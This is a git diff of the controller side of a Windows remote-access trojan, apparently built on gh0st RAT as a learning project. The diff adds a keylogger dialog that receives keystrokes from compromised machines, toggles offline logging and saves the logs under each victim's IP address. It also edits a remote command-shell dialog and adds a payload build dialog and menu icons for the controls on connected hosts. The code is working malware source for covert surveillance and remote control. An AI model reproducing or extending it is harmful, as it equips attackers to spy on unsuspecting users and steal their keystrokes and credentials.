BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog)
|
||||
ON_WM_SYSCOMMAND()
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SIZE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CKeyBoardDlg 消息处理程序
|
||||
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
// CKeyBoardDlg message handlers
|
||||
|
||||
BOOL CKeyBoardDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: Add extra initialization here
|
||||
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != NULL)
|
||||
{
|
||||
//pSysMenu->DeleteMenu(SC_TASKLIST, MF_BYCOMMAND);
|
||||
pSysMenu->AppendMenu(MF_SEPARATOR);
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_ENABLE_OFFLINE, "离线记录(&O)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_CLEAR_RECORD, "清空记录(&C)");
|
||||
pSysMenu->AppendMenu(MF_STRING, IDM_SAVE_RECORD, "保存记录(&S)");
|
||||
if (m_bIsOfflineRecord)
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||||
}
|
||||
|
||||
|
||||
SetIcon(m_hIcon, TRUE); // Set big icon
|
||||
SetIcon(m_hIcon, FALSE); // Set small icon
|
||||
|
||||
m_edit.SetLimitText(MAXDWORD); // 设置最大长度
|
||||
ResizeEdit();
|
||||
UpdateTitle();
|
||||
|
||||
// 通知远程控制端对话框已经打开
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->Send(m_pContext, &bToken, sizeof(BYTE));
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// EXCEPTION: OCX Property Pages should return FALSE
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::OnSysCommand(UINT nID, LPARAM lParam)
|
||||
{
|
||||
if (nID == IDM_ENABLE_OFFLINE)
|
||||
{
|
||||
CMenu* pSysMenu = GetSystemMenu(FALSE);
|
||||
if (pSysMenu != NULL)
|
||||
{
|
||||
BYTE bToken = COMMAND_KEYBOARD_OFFLINE;
|
||||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||||
m_bIsOfflineRecord = !m_bIsOfflineRecord;
|
||||
if (m_bIsOfflineRecord)
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_CHECKED);
|
||||
else
|
||||
pSysMenu->CheckMenuItem(IDM_ENABLE_OFFLINE, MF_UNCHECKED);
|
||||
}
|
||||
UpdateTitle();
|
||||
|
||||
}
|
||||
else if (nID == IDM_CLEAR_RECORD)
|
||||
{
|
||||
BYTE bToken = COMMAND_KEYBOARD_CLEAR;
|
||||
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||||
m_edit.SetWindowText("");
|
||||
}
|
||||
else if (nID == IDM_SAVE_RECORD)
|
||||
{
|
||||
SaveRecord();
|
||||
}
|
||||
else
|
||||
{
|
||||
CDialog::OnSysCommand(nID, lParam);
|
||||
}
|
||||
}
|
||||
void CKeyBoardDlg::OnReceiveComplete()
|
||||
{
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_KEYBOARD_DATA:
|
||||
AddKeyBoardData();
|
||||
break;
|
||||
default:
|
||||
// 传输发生异常数据
|
||||
SendException();
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CKeyBoardDlg::SendException()
|
||||
{
|
||||
BYTE bBuff = COMMAND_EXCEPTION;
|
||||
m_iocpServer->Send(m_pContext, &bBuff, 1);
|
||||
}
|
||||
|
||||
|
||||
void CKeyBoardDlg::OnClose()
|
||||
{
|
||||
// TODO: Add your message handler code here and/or call default
|
||||
m_pContext->m_Dialog[0] = 0;
|
||||
closesocket(m_pContext->m_Socket);
|
||||
CDialog::OnClose();
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::AddKeyBoardData()
|
||||
{
|
||||
// 最后填上0
|
||||
m_pContext->m_DeCompressionBuffer.Write((LPBYTE)"", 1);
|
||||
int len = m_edit.GetWindowTextLength();
|
||||
m_edit.SetSel(len, len);
|
||||
m_edit.ReplaceSel((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
CDialog::OnSize(nType, cx, cy);
|
||||
|
||||
// TODO: Add your message handler code here
|
||||
ResizeEdit();
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::ResizeEdit()
|
||||
{
|
||||
RECT rectClient;
|
||||
RECT rectEdit;
|
||||
if (m_edit.m_hWnd != NULL)
|
||||
{
|
||||
GetClientRect(&rectClient);
|
||||
rectEdit.left = 0;
|
||||
rectEdit.top = 0;
|
||||
rectEdit.right = rectClient.right;
|
||||
rectEdit.bottom = rectClient.bottom;
|
||||
m_edit.MoveWindow(&rectEdit);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::PostNcDestroy()
|
||||
{
|
||||
// TODO: Add your specialized code here and/or call the base class
|
||||
delete this;
|
||||
CDialog::PostNcDestroy();
|
||||
}
|
||||
|
||||
bool CKeyBoardDlg::SaveRecord()
|
||||
{
|
||||
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.txt");
|
||||
CFileDialog dlg(FALSE, "txt", strFileName, OFN_OVERWRITEPROMPT, "文本文档(*.txt)|*.txt|", this);
|
||||
if (dlg.DoModal() != IDOK)
|
||||
return false;
|
||||
|
||||
CFile file;
|
||||
if (!file.Open(dlg.GetPathName(), CFile::modeWrite | CFile::modeCreate))
|
||||
{
|
||||
MessageBox("文件保存失败");
|
||||
return false;
|
||||
}
|
||||
// Write the DIB header and the bits
|
||||
CString strRecord;
|
||||
m_edit.GetWindowText(strRecord);
|
||||
file.Write(strRecord, strRecord.GetLength());
|
||||
file.Close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL CKeyBoardDlg::PreTranslateMessage(MSG* pMsg)
|
||||
{
|
||||
// TODO: Add your specialized code here and/or call the base class
|
||||
if (pMsg->message == WM_KEYDOWN && (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return CDialog::PreTranslateMessage(pMsg);
|
||||
}
|
||||
|
||||
void CKeyBoardDlg::UpdateTitle()
|
||||
{
|
||||
CString str;
|
||||
str.Format("\\\\%s - 键盘记录", m_IPAddress);
|
||||
if (m_bIsOfflineRecord)
|
||||
str += " (离线记录已开启)";
|
||||
else
|
||||
str += " (离线记录未开启)";
|
||||
SetWindowText(str);
|
||||
}
|
48
CcRemote/CcRemote/CKeyBoardDlg.h
Normal file
@@ -0,0 +1,48 @@
|
||||
#pragma once
|
||||
|
||||
#include "include/IOCPServer.h"
|
||||
// CKeyBoardDlg 对话框
|
||||
|
||||
class CKeyBoardDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CKeyBoardDlg)
|
||||
|
||||
public:
|
||||
CKeyBoardDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
|
||||
virtual ~CKeyBoardDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_KEYBOARD };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CEdit m_edit;
|
||||
|
||||
void OnReceiveComplete();
|
||||
|
||||
public:
|
||||
virtual BOOL PreTranslateMessage(MSG* pMsg);
|
||||
protected:
|
||||
virtual void PostNcDestroy();
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
|
||||
private:
|
||||
bool SaveRecord();
|
||||
void UpdateTitle();
|
||||
void ResizeEdit();
|
||||
void AddKeyBoardData();
|
||||
HICON m_hIcon;
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
CString m_IPAddress;
|
||||
bool m_bIsOfflineRecord;
|
||||
void SendException();
|
||||
};
|
@@ -146,7 +146,7 @@ HBRUSH CShellDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
return hbr;
|
||||
}
|
||||
|
||||
|
||||
// 梳理消息函数
|
||||
void CShellDlg::OnReceiveComplete(void)
|
||||
{
|
||||
AddKeyBoardData();
|
||||
@@ -170,10 +170,6 @@ void CShellDlg::AddKeyBoardData(void)
|
||||
m_edit.ReplaceSel(strResult);
|
||||
//重新得到字符的大小
|
||||
m_nCurSel = m_edit.GetWindowTextLength();
|
||||
//现在我们基本弄明白了 数据传输到主控端后的处理
|
||||
//那主控端的数据时怎样传递到服务端上的呢??
|
||||
//我们注意到,我们在使用远程终端时 ,发送的每一个命令行 都有一个换行符 就是一个回车
|
||||
//要找到这个回车的处理我们就要到PreTranslateMessage函数的定义
|
||||
}
|
||||
|
||||
|
||||
@@ -197,8 +193,8 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
|
||||
m_edit.GetWindowText(str);
|
||||
//加入换行符
|
||||
str += "\r\n";
|
||||
//注意gh0st是怎样得到当前的数据的 得到整个的缓冲区再加上原有的字符的位置,其实就是用户当前输入的数据了
|
||||
//然后将数据发送出去。。。。。。。。。。。。。。。 整个分析就完毕了。。。。。。
|
||||
//gh0st得到当前的数据
|
||||
//然后将数据发送出去
|
||||
m_iocpServer->Send(m_pContext, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel);
|
||||
m_nCurSel = m_edit.GetWindowTextLength();
|
||||
}
|
||||
|
@@ -209,9 +209,12 @@
|
||||
<ClInclude Include="..\..\common\Audio.h" />
|
||||
<ClInclude Include="..\..\common\macros.h" />
|
||||
<ClInclude Include="CAudioDlg.h" />
|
||||
<ClInclude Include="CBuildDlg.h" />
|
||||
<ClInclude Include="CcRemote.h" />
|
||||
<ClInclude Include="CcRemoteDlg.h" />
|
||||
<ClInclude Include="CFileManagerDlg.h" />
|
||||
<ClInclude Include="CHelpWindow.h" />
|
||||
<ClInclude Include="CKeyBoardDlg.h" />
|
||||
<ClInclude Include="CServerDlg.h" />
|
||||
<ClInclude Include="FileTransferModeDlg.h" />
|
||||
<ClInclude Include="CScreenSpyDlg.h" />
|
||||
@@ -239,9 +242,12 @@
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CAudioDlg.cpp" />
|
||||
<ClCompile Include="CBuildDlg.cpp" />
|
||||
<ClCompile Include="CcRemote.cpp" />
|
||||
<ClCompile Include="CcRemoteDlg.cpp" />
|
||||
<ClCompile Include="CFileManagerDlg.cpp" />
|
||||
<ClCompile Include="CHelpWindow.cpp" />
|
||||
<ClCompile Include="CKeyBoardDlg.cpp" />
|
||||
<ClCompile Include="CServerDlg.cpp" />
|
||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||
<ClCompile Include="CScreenSpyDlg.cpp" />
|
||||
@@ -295,7 +301,10 @@
|
||||
<Image Include="res\cmdshell.ico" />
|
||||
<Image Include="res\dword.ico" />
|
||||
<Image Include="res\file_ico.ico" />
|
||||
<Image Include="res\help_window.bmp" />
|
||||
<Image Include="res\keyboard.ico" />
|
||||
<Image Include="res\liset_online_pic.bmp" />
|
||||
<Image Include="res\list_online_pic.bmp" />
|
||||
<Image Include="res\logo.bmp" />
|
||||
<Image Include="res\regsz.ico" />
|
||||
<Image Include="res\remote.ico" />
|
||||
@@ -303,6 +312,16 @@
|
||||
<Image Include="res\toolbar1.bmp" />
|
||||
<Image Include="res\toolbar2.bmp" />
|
||||
<Image Include="res\ToolBar_Main.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_audio.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_desk.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_file.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_null.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_process.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_quit.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_regist.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_service.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_shell.bmp" />
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_window.bmp" />
|
||||
<Image Include="res\文件夹1.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
|
@@ -99,6 +99,15 @@
|
||||
<ClInclude Include="RegDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CKeyBoardDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CHelpWindow.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CBuildDlg.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="CcRemote.cpp">
|
||||
@@ -161,6 +170,15 @@
|
||||
<ClCompile Include="RegDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CKeyBoardDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CHelpWindow.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CBuildDlg.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="CcRemote.rc">
|
||||
@@ -242,5 +260,44 @@
|
||||
<Image Include="res\liset_online_pic.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_regist.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\list_online_pic.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_audio.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_desk.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_file.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_null.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_process.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_quit.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_service.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_shell.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\window_ico\IDR_MENU_ONLINE\enum_bmp_window.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\keyboard.ico">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
<Image Include="res\help_window.bmp">
|
||||
<Filter>资源文件</Filter>
|
||||
</Image>
|
||||
</ItemGroup>
|
||||
</Project>
|
@@ -39,6 +39,7 @@ public:
|
||||
// 实现
|
||||
protected:
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
};
|
||||
|
||||
CAboutDlg::CAboutDlg() : CDialogEx(IDD_ABOUTBOX)
|
||||
@@ -90,6 +91,9 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
||||
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
|
||||
ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog)
|
||||
ON_MESSAGE(WM_OPENREGEDITDIALOG, OnOpenRegEditDialog)
|
||||
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyBoardDialog)
|
||||
ON_MESSAGE(WM_REMOVEFROMLIST, OnRemoveFromList)
|
||||
|
||||
|
||||
//-------------系统-------------
|
||||
ON_WM_SYSCOMMAND()
|
||||
@@ -131,12 +135,12 @@ void CALLBACK CCcRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext *pContext,
|
||||
case NC_CLIENT_CONNECT:
|
||||
break;
|
||||
case NC_CLIENT_DISCONNECT:
|
||||
//g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);
|
||||
g_pCcRemoteDlg->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext); // 当服务端断开或出错响应
|
||||
break;
|
||||
case NC_TRANSMIT:
|
||||
break;
|
||||
case NC_RECEIVE:
|
||||
//ProcessReceive(pContext); //这里是有数据到来 但没有完全接收
|
||||
//ProcessReceive(pContext); // 这里是有数据到来 但没有完全接收
|
||||
break;
|
||||
case NC_RECEIVE_COMPLETE:
|
||||
ProcessReceiveComplete(pContext); //这里时完全接收 处理发送来的数据 跟进 ProcessReceiveComplete
|
||||
@@ -228,7 +232,7 @@ BOOL CCcRemoteDlg::OnInitDialog()
|
||||
InitToolBar(); // 初始化工具栏按钮控件
|
||||
InitMyMenu(); // 初始化菜单控件
|
||||
InitList(); // 初始化列表控件
|
||||
InitStatusBar();//初始化状态栏控件
|
||||
InitStatusBar(); // 初始化状态栏控件
|
||||
InitPic();
|
||||
//---------改变窗口大小触发动态调整-------|
|
||||
CRect rect;
|
||||
@@ -237,9 +241,10 @@ BOOL CCcRemoteDlg::OnInitDialog()
|
||||
rect.right += 30;
|
||||
MoveWindow(rect);
|
||||
//----------------------------------------|
|
||||
ListenPort();//监听端口
|
||||
ListenPort(); // 监听端口
|
||||
Test();
|
||||
isTrue = 0;
|
||||
isOnlineIcoTrue = 0;
|
||||
isMessageIcoTrue = 0;
|
||||
return TRUE; // 除非将焦点设置到控件,否则返回 TRUE
|
||||
}
|
||||
|
||||
@@ -320,18 +325,18 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
if (m_CList_Online.m_hWnd != NULL)
|
||||
{
|
||||
CRect rc;
|
||||
rc.left = 1; //列表的左坐标
|
||||
rc.top = 80; //列表的上坐标
|
||||
rc.right = cx - 1; //列表的右坐标
|
||||
rc.bottom = cy - 160; //列表的下坐标
|
||||
rc.left = 1; // 列表的左坐标
|
||||
rc.top = 80; // 列表的上坐标
|
||||
rc.right = cx - 1; // 列表的右坐标
|
||||
rc.bottom = cy - 160; // 列表的下坐标
|
||||
m_CList_Online.MoveWindow(rc);
|
||||
|
||||
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++) { //遍历每一个列
|
||||
double dd = m_Column_Online_Data[i].nWidth; //得到当前列的宽度
|
||||
dd /= m_Column_Online_Width; //看一看当前宽度占总长度的几分之几
|
||||
dd *= dcx; //用原来的长度乘以所占的几分之几得到当前的宽度
|
||||
int lenth = dd; //转换为int 类型
|
||||
m_CList_Online.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++) { // 遍历每一个列
|
||||
double dd = m_Column_Online_Data[i].nWidth; // 得到当前列的宽度
|
||||
dd /= m_Column_Online_Width; // 看一看当前宽度占总长度的几分之几
|
||||
dd *= dcx; // 用原来的长度乘以所占的几分之几得到当前的宽度
|
||||
int lenth = dd; // 转换为int 类型
|
||||
m_CList_Online.SetColumnWidth(i, (lenth)); // 设置当前的宽度
|
||||
}
|
||||
|
||||
|
||||
@@ -340,18 +345,18 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
if (m_CList_Message.m_hWnd != NULL)
|
||||
{
|
||||
CRect rc;
|
||||
rc.left = 1; //列表的左坐标
|
||||
rc.top = cy - 156; //列表的上坐标
|
||||
rc.right = cx - 1; //列表的右坐标
|
||||
rc.bottom = cy - 20; //列表的下坐标
|
||||
rc.left = 1; // 列表的左坐标
|
||||
rc.top = cy - 156; // 列表的上坐标
|
||||
rc.right = cx - 1; // 列表的右坐标
|
||||
rc.bottom = cy - 20; // 列表的下坐标
|
||||
m_CList_Message.MoveWindow(rc);
|
||||
|
||||
for (int i = 0; i < COLUMN_MESSAGE_COUNT; i++) { //遍历每一个列
|
||||
double dd = m_Column_Message_Data[i].nWidth; //得到当前列的宽度
|
||||
dd /= m_Column_Message_Width; //看一看当前宽度占总长度的几分之几
|
||||
dd *= dcx; //用原来的长度乘以所占的几分之几得到当前的宽度
|
||||
int lenth = dd; //转换为int 类型
|
||||
m_CList_Message.SetColumnWidth(i, (lenth)); //设置当前的宽度
|
||||
for (int i = 0; i < COLUMN_MESSAGE_COUNT; i++) { // 遍历每一个列
|
||||
double dd = m_Column_Message_Data[i].nWidth; // 得到当前列的宽度
|
||||
dd /= m_Column_Message_Width; // 看一看当前宽度占总长度的几分之几
|
||||
dd *= dcx; // 用原来的长度乘以所占的几分之几得到当前的宽度
|
||||
int lenth = dd; // 转换为int 类型
|
||||
m_CList_Message.SetColumnWidth(i, (lenth)); // 设置当前的宽度
|
||||
}
|
||||
}
|
||||
|
||||
@@ -382,20 +387,53 @@ void CCcRemoteDlg::OnSize(UINT nType, int cx, int cy)
|
||||
int CCcRemoteDlg::InitMyMenu()
|
||||
{
|
||||
HMENU hmenu;
|
||||
hmenu = LoadMenu(NULL, MAKEINTRESOURCE(IDR_MENU_MAIN)); //载入菜单资源
|
||||
hmenu = LoadMenu(NULL, MAKEINTRESOURCE(IDR_MENU_MAIN)); // 载入菜单资源
|
||||
|
||||
::SetMenu(this->GetSafeHwnd(), hmenu); //为窗口设置菜单
|
||||
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
|
||||
::SetMenu(this->GetSafeHwnd(), hmenu); // 为窗口设置菜单
|
||||
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
|
||||
|
||||
popup.LoadMenu(IDR_MENU_ONLINE);//载入菜单资源
|
||||
//popup.GetSubMenu(0)->SetMenuItemBitmaps();
|
||||
::MENUINFO lpcmi;
|
||||
m_brush.CreateSolidBrush(RGB(236, 153, 101));//颜色
|
||||
memset(&lpcmi, 0, sizeof(::LPCMENUINFO));
|
||||
lpcmi.cbSize = sizeof(MENUINFO);
|
||||
lpcmi.fMask = MIM_APPLYTOSUBMENUS | MIM_BACKGROUND;
|
||||
lpcmi.hbrBack = (HBRUSH)m_brush.operator HBRUSH();
|
||||
::SetMenuInfo(popup, &lpcmi);
|
||||
int enum_ico[] = { IDB_BITMAP_ENUM_SHELL ,
|
||||
IDB_BITMAP_ENUM_PROCESS,
|
||||
IDB_BITMAP_ENUM_WINDOW,
|
||||
IDB_BITMAP_ENUM_DESK,
|
||||
IDB_BITMAP_ENUM_FILE,
|
||||
IDB_BITMAP_ENUM_AUDIO,
|
||||
IDB_BITMAP_ENUM_NULL,
|
||||
IDB_BITMAP_ENUM_SERVICE,
|
||||
IDB_BITMAP_ENUM_REGIST,
|
||||
IDB_BITMAP_ENUM_QUIT };
|
||||
|
||||
popup.LoadMenu(IDR_MENU_ONLINE); // 载入菜单资源
|
||||
m_IconBitmap.LoadBitmap(IDB_BITMAP_ENUM_REGIST);
|
||||
CMenu *pSubMenu = popup.GetSubMenu(0); // 获得子菜单(如果有)0表示索引,对应“文件”菜单
|
||||
for (int i = 0; i < 10; i++)
|
||||
{
|
||||
CBitmap bmp;
|
||||
bmp.LoadBitmap(enum_ico[i]);
|
||||
pSubMenu->SetMenuItemBitmaps(i, MF_BYPOSITION, &bmp, &bmp);
|
||||
bmp.Detach();
|
||||
}
|
||||
|
||||
CBitmap bmp;
|
||||
CBrush m_BKBrush;
|
||||
bmp.LoadBitmap(IDB_BITMAP_LOGO);
|
||||
m_BKBrush.CreatePatternBrush(&bmp); // 创建位图画刷
|
||||
MENUINFO mnInfo;
|
||||
memset(&mnInfo, 0, sizeof(MENUINFO));
|
||||
mnInfo.cbSize = sizeof(MENUINFO);
|
||||
mnInfo.fMask = MIM_BACKGROUND;
|
||||
mnInfo.hbrBack = m_BKBrush;
|
||||
::SetMenuInfo(pSubMenu->m_hMenu, &mnInfo);
|
||||
m_BKBrush.Detach();
|
||||
|
||||
|
||||
//::MENUINFO lpcmi;
|
||||
//m_brush.CreateSolidBrush(RGB(236, 153, 101));//颜色
|
||||
//memset(&lpcmi, 0, sizeof(::LPCMENUINFO));
|
||||
//lpcmi.cbSize = sizeof(MENUINFO);
|
||||
//lpcmi.fMask = MIM_APPLYTOSUBMENUS | MIM_BACKGROUND;
|
||||
//lpcmi.hbrBack = (HBRUSH)m_brush.operator HBRUSH();
|
||||
//::SetMenuInfo(popup, &lpcmi);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -411,13 +449,13 @@ int CCcRemoteDlg::InitList()
|
||||
|
||||
m_CList_Message.SetTextBkColor(CLR_NONE);
|
||||
m_CList_Message.SetBkColor(CLR_NONE);
|
||||
//m_CList_Message.SetTextColor(RGB(255, 0, 0));
|
||||
// m_CList_Message.SetTextColor(RGB(255, 0, 0));
|
||||
|
||||
//设置list可选中
|
||||
// 设置list可选中
|
||||
m_CList_Online.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
m_CList_Message.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
|
||||
//计算控件宽度
|
||||
// 计算控件宽度
|
||||
for (int i = 0; i < COLUMN_ONLINE_COUNT; i++)
|
||||
{
|
||||
m_CList_Online.InsertColumn(i, m_Column_Online_Data[i].title, LVCFMT_LEFT, m_Column_Online_Data[i].nWidth);
|
||||
@@ -435,9 +473,9 @@ int CCcRemoteDlg::InitList()
|
||||
|
||||
void CCcRemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext)
|
||||
{
|
||||
m_CList_Online.InsertItem(0, strIP); //默认为0行 这样所有插入的新列都在最上面
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr); //设置列的显示字符 这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_COMPUTER_NAME, strPCName); //解决问题会避免以后扩展时的冲突
|
||||
m_CList_Online.InsertItem(0, strIP); // 默认为0行 这样所有插入的新列都在最上面
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_ADDR, strAddr); // 设置列的显示字符 这里 ONLINELIST_ADDR等 为第二节课中的枚举类型 用这样的方法
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_COMPUTER_NAME, strPCName); // 解决问题会避免以后扩展时的冲突
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_OS, strOS);
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_CPU, strCPU);
|
||||
m_CList_Online.SetItemText(0, ONLINELIST_VIDEO, strVideo);
|
||||
@@ -464,7 +502,7 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
|
||||
|
||||
|
||||
CString strStatusMsg;
|
||||
if (strMsg.Find("上线") > 0) //处理上线还是下线消息
|
||||
if (strMsg.Find("上线") > 0) // 处理上线还是下线消息
|
||||
{
|
||||
m_OnlineCount++;
|
||||
}
|
||||
@@ -476,9 +514,9 @@ void CCcRemoteDlg::ShowMessage(bool bIsOK, CString strMsg)
|
||||
{
|
||||
m_OnlineCount--;
|
||||
}
|
||||
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); //防止iCount 有-1的情况
|
||||
m_OnlineCount = (m_OnlineCount <= 0 ? 0 : m_OnlineCount); // 防止iCount 有-1的情况
|
||||
strStatusMsg.Format("已连接: %d", m_OnlineCount);
|
||||
m_wndStatusBar.SetPaneText(0, strStatusMsg); //在状态条上显示文字
|
||||
m_wndStatusBar.SetPaneText(0, strStatusMsg); // 在状态条上显示文字
|
||||
|
||||
}
|
||||
|
||||
@@ -487,10 +525,6 @@ void CCcRemoteDlg::Test()
|
||||
{
|
||||
|
||||
ShowMessage(true, "软件初始化成功...");
|
||||
//AddList("192.168.0.1", "本机局域网", "CHANG", "Windows7", "2.2GHZ", "有", "123232");
|
||||
//AddList("192.168.10.1", "本机局域网", "WANG", "Windows10", "2.2GHZ", "无", "111111");
|
||||
//AddList("192.168.18.25", "本机局域网", "LIU", "Windows8", "2.2GHZ", "有", "654321");
|
||||
//AddList("192.168.97.162", "本机局域网", "SHANG", "WindowsXP", "2.2GHZ", "无", "123456");
|
||||
|
